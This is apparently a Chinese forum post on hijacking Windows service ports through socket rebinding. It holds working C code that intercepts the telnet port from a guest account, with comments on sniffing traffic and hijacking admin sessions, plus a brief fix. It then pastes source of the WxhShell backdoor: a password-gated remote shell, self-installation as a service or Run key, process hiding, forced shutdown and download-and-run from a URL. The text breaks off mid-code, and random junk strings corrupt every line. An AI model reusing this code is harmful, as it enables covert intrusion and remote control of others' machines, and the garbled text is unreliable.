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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i1dE.f ;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >;Ag7Ex  
H~$*R7~  
  saddr.sin_family = AF_INET; G22{',#r8  
%fuV]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); po9f[/s'+o  
"%I<yUP]U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t 7-6A  
z{H=;"+rh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s3-TBhAv  
FW"n+7T  
  这意味着什么?意味着可以进行如下的攻击: P(%^J6[>  
}Y"vUl_I2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LzTdi%u$0|  
oTJ^WePZQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m Ce"=[  
{TXfi'\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u!-v1O^[  
%p:Z(zU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q{|_"sfJ  
0qq>(K[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Mt4*`CxtH;  
MTip4L W9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K&VMhMVb  
/_X`i[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hqtv`3g  
,8.$!Zia  
  #include [<|$If99\  
  #include ix hF,F  
  #include V.%LA. 8  
  #include    LJ6L#es2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .}5qi;CA  
  int main() v\@pZw=x  
  { U[?f@.&  
  WORD wVersionRequested; 1Va=.#<  
  DWORD ret; BRa9j:_b  
  WSADATA wsaData; N!fjN >cw  
  BOOL val; 0NK|3]p  
  SOCKADDR_IN saddr; i;atYltEJ2  
  SOCKADDR_IN scaddr; FTr'I82m(  
  int err; &>!-67  
  SOCKET s; ][KlEE>W2  
  SOCKET sc; LJ6l3)tpD  
  int caddsize; .C.b5x!  
  HANDLE mt; hQ}_(F_H  
  DWORD tid;   rog1  
  wVersionRequested = MAKEWORD( 2, 2 ); %LM6=nt  
  err = WSAStartup( wVersionRequested, &wsaData ); vN:!{)~z  
  if ( err != 0 ) { Dlpmm2  
  printf("error!WSAStartup failed!\n"); K$:+]fJK  
  return -1; l,~`o$ _  
  } KnKf8c  
  saddr.sin_family = AF_INET; eY-h<K)y  
   E%( s=YhW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0@[*~H0{n  
IM ncl=1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =j{tFxJ  
  saddr.sin_port = htons(23); )&O6d .  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l p(D@FT  
  { yZ[=Y  
  printf("error!socket failed!\n"); zVa&4 T-  
  return -1; PU[<sr#,  
  } *u:,@io7'G  
  val = TRUE; 73]8NVm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /G|v.#2/g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hv?T}E  
  { mE5{)<N:C  
  printf("error!setsockopt failed!\n"); @?3^ Ks_  
  return -1; 5eE\ X /  
  }  ,vO\n^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l S3LX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C #iZAR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6PYm?i=p?  
nGe4IY\-w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iCA-X\E  
  { ErJ/h?+  
  ret=GetLastError(); /Jc{aw  
  printf("error!bind failed!\n"); SMIDW}U2S  
  return -1; u z7|!G!43  
  } BC/5bA  
  listen(s,2); /8Y8-&K0  
  while(1) tW4X+d"  
  { vPGUE`!D+  
  caddsize = sizeof(scaddr); K!Fem6R  
  //接受连接请求 xZ)K#\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u<uc"KY=  
  if(sc!=INVALID_SOCKET) `kxC# &HO  
  { tM;cvc`/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A$N%deb  
  if(mt==NULL) #O !2  
  { Z{BK@Q4z  
  printf("Thread Creat Failed!\n"); gm2|`^Xq$  
  break; <Vk}U   
  } x?V^ l*  
  } Ahl&2f\  
  CloseHandle(mt); \1gAWUt('  
  } i9zh X1#  
  closesocket(s); !L{mE&  
  WSACleanup(); rP'%f 6  
  return 0; krFp q;  
  }   p<H_]|7$7U  
  DWORD WINAPI ClientThread(LPVOID lpParam) s|H7;.3gp  
  { :0Jn`Ds4o  
  SOCKET ss = (SOCKET)lpParam; s`H|o'0  
  SOCKET sc; \Db;7wh  
  unsigned char buf[4096]; & ;.rPU  
  SOCKADDR_IN saddr; |Vqm1.1/Zv  
  long num; $3l#eKZA  
  DWORD val; 7Z`4Kdh .  
  DWORD ret; 8)eRm{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9ybR+dGm+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C_/eNu\I  
  saddr.sin_family = AF_INET; ?i0+h7 =6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y\;oZ]J  
  saddr.sin_port = htons(23); <Tjhj *  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1="]'!2Is  
  { =23B9WT   
  printf("error!socket failed!\n"); r3U7`P   
  return -1; ~&p]kmwXSX  
  } ^_Lnqk6  
  val = 100; ]^.`}Y=`g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [dP<A ?s  
  { 9 c9$cnQ  
  ret = GetLastError(); Lf ^ 7|  
  return -1; A\rY~$Vr  
  } :KvZP:T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hs;|,r  
  { 89D`!`Ah]  
  ret = GetLastError(); nt|n[-}  
  return -1; U:$z lfV  
  } KYB3n85 1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W`_Wi*z4  
  { C$])q`9  
  printf("error!socket connect failed!\n"); ;:[P/eg  
  closesocket(sc); T<7}IH$6xE  
  closesocket(ss); dfVI*5[Z  
  return -1; b_{+OqI  
  } u"v$[8  
  while(1) wjX0r7^@  
  { n~`jUML2d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -M]/Xv]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qfFa" a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !?i9fYu  
  num = recv(ss,buf,4096,0); N/{=j  
  if(num>0) kp[&SKU c  
  send(sc,buf,num,0); L67yL( d6a  
  else if(num==0) >/C,1}p[  
  break; j/uMSE  
  num = recv(sc,buf,4096,0); C;ha2UV0H  
  if(num>0) *yI( (G/  
  send(ss,buf,num,0); O[1Q#  
  else if(num==0) O&.gc p!  
  break; -y&>&D  
  } :Oj!J&A  
  closesocket(ss);  /*S6/#  
  closesocket(sc); p'/%"  
  return 0 ; q,Nqv[va  
  } ezJ^ r,D|  
"$%&C%t  
)buy2#8UW  
========================================================== xWQQX  
+Sv2'& B  
下边附上一个代码,,WXhSHELL 3=L5Y/  
SV2\vby}C  
========================================================== $I4J Kh  
C0e oV}  
#include "stdafx.h" #{bT=:3a  
:Ot5W  
#include <stdio.h> Q?m= a0g  
#include <string.h> c&L|e$C]  
#include <windows.h> m<4tH5 };d  
#include <winsock2.h> kf",/?s2Z  
#include <winsvc.h> P'5Q}7  
#include <urlmon.h> `@ Ont+  
ve/|"RB  
#pragma comment (lib, "Ws2_32.lib") NzID [8`  
#pragma comment (lib, "urlmon.lib") zv\T;_  
'khhn6itA  
#define MAX_USER   100 // 最大客户端连接数 lS`VJA6l.  
#define BUF_SOCK   200 // sock buffer 6CWm;%B#G  
#define KEY_BUFF   255 // 输入 buffer Wf$P+i*  
_H2%6t/V  
#define REBOOT     0   // 重启 hKK"D:?PRs  
#define SHUTDOWN   1   // 关机 ^w}BXVn  
6$$ku  
#define DEF_PORT   5000 // 监听端口 5fhe{d"si  
y"0! 7^  
#define REG_LEN     16   // 注册表键长度 1FEY&rpR  
#define SVC_LEN     80   // NT服务名长度 klC48l  
ZEU/6.  
// 从dll定义API u#34mg..  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p8u -3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KA0_uty/T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }W R?n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _Nq7_iT0  
iX'#~eK*<  
// wxhshell配置信息 3HmJixy  
struct WSCFG { c3aF lxW  
  int ws_port;         // 监听端口 1:iT#~n  
  char ws_passstr[REG_LEN]; // 口令 j%s:d(H`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]^CNC0  
  char ws_regname[REG_LEN]; // 注册表键名 Jq?"?d|:  
  char ws_svcname[REG_LEN]; // 服务名 DWRq \`P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -}*YfwK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a)Ca:p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d_}q.%*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r$Ck:Q}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" onAC;<w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7vs>PV  
UDz#?ZWnd  
}; [8Zvs=1  
(>\w8]  
// default Wxhshell configuration -F|C6m!  
struct WSCFG wscfg={DEF_PORT, Jk!*j  
    "xuhuanlingzhe", V<;w  
    1, )9 QeVf  
    "Wxhshell", SBBi"U:  
    "Wxhshell", &qP&=( $  
            "WxhShell Service", ^/kn#1H7&  
    "Wrsky Windows CmdShell Service", gjVKk  
    "Please Input Your Password: ", <X_I`  
  1, le-Q&*  
  "http://www.wrsky.com/wxhshell.exe", g0D(:_QXp:  
  "Wxhshell.exe" &u'$q  
    }; n_/_Y >{M0  
RMx$]wn_  
// 消息定义模块 WU -_Y^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O:Fnxp5@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T.sib&R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .;0?r9  
char *msg_ws_ext="\n\rExit."; U h'1f7%  
char *msg_ws_end="\n\rQuit."; ./009p  
char *msg_ws_boot="\n\rReboot..."; ;r_YEPlZ  
char *msg_ws_poff="\n\rShutdown..."; RTW4r9~'  
char *msg_ws_down="\n\rSave to "; n%>c4*t  
<"g ^V  
char *msg_ws_err="\n\rErr!"; !kl9X-IiI  
char *msg_ws_ok="\n\rOK!"; I'h6!N"  
o#-K,|-  
char ExeFile[MAX_PATH]; D,rF?t>=S  
int nUser = 0; B%c):`w8]  
HANDLE handles[MAX_USER]; u2SnL$A7  
int OsIsNt; PyD'lsV  
y^#jM  
SERVICE_STATUS       serviceStatus; Su0[f/4m.Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F8J;L](Dq  
@"9^U_Qf1z  
// 函数声明 v(T;Y=&  
int Install(void); ,iXE3TN;W  
int Uninstall(void); lH6zZ8rh  
int DownloadFile(char *sURL, SOCKET wsh); !}D!_z,)u  
int Boot(int flag); >g!a\=-[  
void HideProc(void); <|_/i/H  
int GetOsVer(void); =gCv`SFW  
int Wxhshell(SOCKET wsl); V=pg9KR!T  
void TalkWithClient(void *cs); W 2VH?-Gw  
int CmdShell(SOCKET sock); h\k!X/  
int StartFromService(void); ef\Pu\'U  
int StartWxhshell(LPSTR lpCmdLine); @aU%1h5W;l  
c]`}DH,TJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4LqJ4jo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { -*+G]  
+cQGX5 K  
// 数据结构和表定义 ]J;pUH+u  
SERVICE_TABLE_ENTRY DispatchTable[] = _-aQ.p ?T  
{ Kh<xQ:eMy  
{wscfg.ws_svcname, NTServiceMain}, w5 nzS)B:u  
{NULL, NULL} 7`;55Se  
}; n82N@z<8]  
EoM}Co  
// 自我安装 R7: >'*F  
int Install(void) x/*ndH  
{ va \ 5  
  char svExeFile[MAX_PATH]; ?bwF$Ku  
  HKEY key; PjriAlxD  
  strcpy(svExeFile,ExeFile); |=H*" (  
0PIiG-o9  
// 如果是win9x系统,修改注册表设为自启动 ~|+! xh  
if(!OsIsNt) { et|QW;*L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^:g8mt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ei!5Qya>  
  RegCloseKey(key); iXN"M` nhm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *sI`+4h[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q+(}nz4  
  RegCloseKey(key); s)Bmi  
  return 0; RUHQ]@d#T  
    } =KfV;.&  
  } 4:\1S~WW  
} Sc Uh -y_  
else { pE{ZWW[@+  
A<ca9g3  
// 如果是NT以上系统,安装为系统服务 -QR&]U+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <eRE;8C-  
if (schSCManager!=0) %Od?(m"&  
{ v;.7-9c*  
  SC_HANDLE schService = CreateService e(7F| G*  
  ( $_s"16s  
  schSCManager, 4$Oakl*l  
  wscfg.ws_svcname, _[|~(lDJl  
  wscfg.ws_svcdisp, .nCF`5T!  
  SERVICE_ALL_ACCESS, ud]O'@G<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3vx*gfr3  
  SERVICE_AUTO_START, ceN*wkGyB  
  SERVICE_ERROR_NORMAL, Hts.G~~8  
  svExeFile, DiMkcK_e  
  NULL, *nUD6(@g  
  NULL, 4B>N[#-0=  
  NULL, H8d%_jCr  
  NULL, {E *dDv  
  NULL -r%4,4  
  ); f0rM 4"1  
  if (schService!=0) x(J|6Ey7!n  
  { 7J@iJW],,  
  CloseServiceHandle(schService); A&%vog]O  
  CloseServiceHandle(schSCManager); ">='l9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'TWZ@8h~  
  strcat(svExeFile,wscfg.ws_svcname); },9Hq~TA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qcau(#I9.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7x8/Vz@\  
  RegCloseKey(key); 3F fS2we  
  return 0; H_gY)m  
    } K|Sh  
  } yVQ0;h  
  CloseServiceHandle(schSCManager); S<do.{|p[  
} Jq0aDf f  
} &''lOS|  
wlc Cz  
return 1; JJ\|FZ N  
} b1An2 e[  
%M"rc4Xd  
// 自我卸载 d/I,`  
int Uninstall(void) W"j&':xD  
{ !S6zC >  
  HKEY key; \09m ?;^  
-/ 5" Py  
if(!OsIsNt) { DIrQ5C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9FB k|g"U)  
  RegDeleteValue(key,wscfg.ws_regname); \@")2o+  
  RegCloseKey(key); YN.[KQ(!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "u#,#z_  
  RegDeleteValue(key,wscfg.ws_regname); *F:f\9   
  RegCloseKey(key); x-0O3IIE  
  return 0; p6)Jzh_/  
  } D^]g`V*N  
} 0\W6X;?  
} D(bQFRBY6"  
else { 4KSZ;fV6/  
jL^3/0"o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l1_hD ,4  
if (schSCManager!=0) -zn$h$N4  
{ pZeJ$3@vk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .J?cV;:`  
  if (schService!=0) {|!> {  
  { 4MM /i}  
  if(DeleteService(schService)!=0) { B!J~ t8  
  CloseServiceHandle(schService); `MD%VHQ9U  
  CloseServiceHandle(schSCManager); sVT:1 kI  
  return 0; <c; U 0! m  
  } d8N{sT  
  CloseServiceHandle(schService); %s&"gWi  
  } $"e$#<g  
  CloseServiceHandle(schSCManager); &/+LY_r'<I  
} zE,1zBS<  
} ;T-`~  
eDkJ+5b  
return 1; Z'!Ii+'6  
} Vi 9Kah+  
8'<RPU}M  
// 从指定url下载文件 kleE\ 8_  
int DownloadFile(char *sURL, SOCKET wsh) rq(9w*MW:  
{ p;xMudM  
  HRESULT hr; c^F@9{I  
char seps[]= "/";  Iz_#wO  
char *token; L9Z\|L5  
char *file; >~}}*yp  
char myURL[MAX_PATH]; Pt=@U:  
char myFILE[MAX_PATH]; %(}%#-X  
"=Xky,k  
strcpy(myURL,sURL); ']C" 'b  
  token=strtok(myURL,seps); Tebu?bj  
  while(token!=NULL) {3@"}Eh  
  { j=kz^o~mH  
    file=token; ,R$U(,>_0  
  token=strtok(NULL,seps); M+l~^E0Wj  
  } -/ YY.F-  
oK@_  
GetCurrentDirectory(MAX_PATH,myFILE); fG" 4\A  
strcat(myFILE, "\\"); .VA'W16  
strcat(myFILE, file); J;5G]$s  
  send(wsh,myFILE,strlen(myFILE),0); O5v~wLx9e  
send(wsh,"...",3,0); os[i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ha/Gn !l  
  if(hr==S_OK) dUc?>#TU  
return 0; k=  
else R<Uu(-O-  
return 1; W@t{pXwLv  
:F.eyA|#@G  
} $_+.D`vx`  
$h|8z  
// 系统电源模块 )U +Pt98"  
int Boot(int flag) 2>F `H7W  
{ 8,&pX ga  
  HANDLE hToken; 5e >qBw8t  
  TOKEN_PRIVILEGES tkp; oTb4T=  
|>dqZ_)v  
  if(OsIsNt) { -&0HAtc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9RQw6rL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CuA A)Bj  
    tkp.PrivilegeCount = 1; w1,6%?p(O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '-[?iF@l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I,7n-G_'  
if(flag==REBOOT) { 8C4v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]}9D*V  
  return 0; osPrr QoH  
} yL"pzD`[H  
else { gPY Cw?zQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $@eFSA5k,7  
  return 0; m<GJ1)%3i  
} (R^Ca7F  
  } &-(p~[|  
  else { 8]A`WDO3  
if(flag==REBOOT) { _Bq[c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (T8dh|  
  return 0; Wu U_R E  
} P7y.:%DGD0  
else { 5tcJT z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T]y^PT<8?  
  return 0; r=:o$e  
} ds<q"S {p  
} {f[X)  
EM0]"s@Lf  
return 1; {PQ!o^7y  
} A9C  
rRd8W}B  
// win9x进程隐藏模块 g/jlG%kI}  
void HideProc(void) rEY5,'?YHv  
{ ehr,+GX  
5}he)2*uD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )NCSO b  
  if ( hKernel != NULL ) 9/4Bx!~A  
  { .+2@(r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XE.Y?{,R$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :yE7jXB  
    FreeLibrary(hKernel); h$I 2T  
  } 2[TssJQ  
sA[eKQjaD  
return; X8| 0RU@f  
} "M4 gl  
0Lki (  
// 获取操作系统版本 # `b5kqQm  
int GetOsVer(void) E@D}Sqt  
{ [;8vO=Z  
  OSVERSIONINFO winfo; g9oY K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oZ"93]3-  
  GetVersionEx(&winfo); rhvTV(Bz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DTp|he  
  return 1; &s<'fSI  
  else # vBS7ba  
  return 0; e+7x &-+  
} z{ydP Ra  
8 !+eq5S3  
// 客户端句柄模块 ju%t'u\'  
int Wxhshell(SOCKET wsl) !>gu#Q{\-  
{ q'4qSu  
  SOCKET wsh; (v$$`zh  
  struct sockaddr_in client; v|K<3@J  
  DWORD myID; _$YT*o@0J  
okv`v ({  
  while(nUser<MAX_USER) R6/vhze4L2  
{ RmcQGQ  
  int nSize=sizeof(client); > Vvjs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  t_Rpeav  
  if(wsh==INVALID_SOCKET) return 1; {'R\C5 :D7  
y&8kORz;?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c<n <!!vi  
if(handles[nUser]==0) <4QOjW  
  closesocket(wsh); A3=$I&!%  
else f*Dy>sw  
  nUser++; ~Q/G_^U:  
  } Lavm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5\|u] ~b  
aO]FQ#l2b  
  return 0; =9@t6   
} %.+#e  
/>E:}1}{  
// 关闭 socket 3(/J(8  
void CloseIt(SOCKET wsh) ,F)9{ <r]  
{ @g~hYc  
closesocket(wsh); ;[>g(W+  
nUser--; <R>%DD=v^  
ExitThread(0); y@?t[A#v  
} Z?}yPs Ob  
6 s$jt-bH  
// 客户端请求句柄 {~RS$ |  
void TalkWithClient(void *cs) _~_E(rTn  
{ KL}o%wfLy  
vuCl(/P`  
  SOCKET wsh=(SOCKET)cs; 5/>W(,5}  
  char pwd[SVC_LEN]; MPg"n-g*  
  char cmd[KEY_BUFF]; D+"-(k  
char chr[1]; j~a"z40  
int i,j; c ii]-%J}c  
lIlmXjL0  
  while (nUser < MAX_USER) { ?U PZ49y  
@Ht7^rz+S  
if(wscfg.ws_passstr) { O5:2B\B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m)aNuQvy:Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kA1C&  
  //ZeroMemory(pwd,KEY_BUFF); =gjq@N]lAW  
      i=0; ^XIVWf#`H  
  while(i<SVC_LEN) { |dxcEjcY_  
."#M X!  
  // 设置超时 k]<E1 c/  
  fd_set FdRead; ?t JyQT  
  struct timeval TimeOut; K3Wh F  
  FD_ZERO(&FdRead); =Bq3O58+  
  FD_SET(wsh,&FdRead); > (.V(]{3y  
  TimeOut.tv_sec=8; pRAdo="  
  TimeOut.tv_usec=0; GWU"zWli]z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y ;$8C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P})Iwk|Z  
lOc!KZHUp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W_##8[r(?  
  pwd=chr[0]; )TmqE<[  
  if(chr[0]==0xd || chr[0]==0xa) { b& l/)DU  
  pwd=0; G q" [5r"  
  break; P9\!JH!  
  } nlfu y[oX  
  i++; $\DOy&e  
    } u9:+^F+  
.5;Xd?  
  // 如果是非法用户,关闭 socket pJ` M5pF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [j6EzMN  
} F:PaVr3q  
jRswGMx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !)jw o=l}J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [79 eq=  
SIJ:[=5!7  
while(1) { Ywj=6 +;  
4"OUmh9LHB  
  ZeroMemory(cmd,KEY_BUFF); *]ROUk@K=  
QT1(= wK3  
      // 自动支持客户端 telnet标准   [0_JS2KE  
  j=0; xW$F-n  
  while(j<KEY_BUFF) { |-WoR u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U({20  
  cmd[j]=chr[0]; ~R;9a"nr  
  if(chr[0]==0xa || chr[0]==0xd) { 16iymiLz&  
  cmd[j]=0; c0J=gZiP  
  break; \JJ>y  
  } 5ryzAB O\2  
  j++; 4=j,:q  
    } 45Z"U<I,9  
sU {'  
  // 下载文件 ~c e?xr|  
  if(strstr(cmd,"http://")) { 8q)wT0A~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vepZod}D  
  if(DownloadFile(cmd,wsh)) pUvbIbg+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3q%  
  else y-UutI&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b&LfL$  
  } < q6z$c)K  
  else { |E\0Rv{H3  
/PP\L](  
    switch(cmd[0]) { M`W%nvEDE  
  LPjsR=xi  
  // 帮助 3xhv~be  
  case '?': { ;WQ@dC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S.;>:Dd[K  
    break; F&{RP>  
  } =AFTB<7-^  
  // 安装 tK<GU.+  
  case 'i': { 9aLS%-x!+  
    if(Install()) uV]4C^k;`[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qm| Q0u   
    else ;().  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +ahr-v^R<  
    break; >Z#=<  
    } A>"v1Wk  
  // 卸载 32_{nLV$[  
  case 'r': { .xtjB8gc  
    if(Uninstall()) x 4SI TY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r7tN(2;5  
    else 7w7mE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0 y+,~\  
    break; a8T<f/qW k  
    } zcrLd={  
  // 显示 wxhshell 所在路径 KKm0@Y   
  case 'p': { {~g(WxE  
    char svExeFile[MAX_PATH]; |>( @n{  
    strcpy(svExeFile,"\n\r"); L[zg2y  
      strcat(svExeFile,ExeFile); _C9*M6IU  
        send(wsh,svExeFile,strlen(svExeFile),0); 0\t k/<w2  
    break; fH.:#O:  
    } W11Wv&  
  // 重启 wj>mk  
  case 'b': { lAsDdxB`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,63hO.4M  
    if(Boot(REBOOT)) eTI<WFRc_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OE(H:^ZR  
    else { :sRV]!Iw  
    closesocket(wsh); G| pZ  
    ExitThread(0); daT[2M  
    } zdCeOZ 6  
    break; 1xM'5C?~7  
    } @ViJJ\  
  // 关机 8tWOVLquJ  
  case 'd': { :+ef|,:`/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P&3'N~k-  
    if(Boot(SHUTDOWN)) l-"c-2-!  
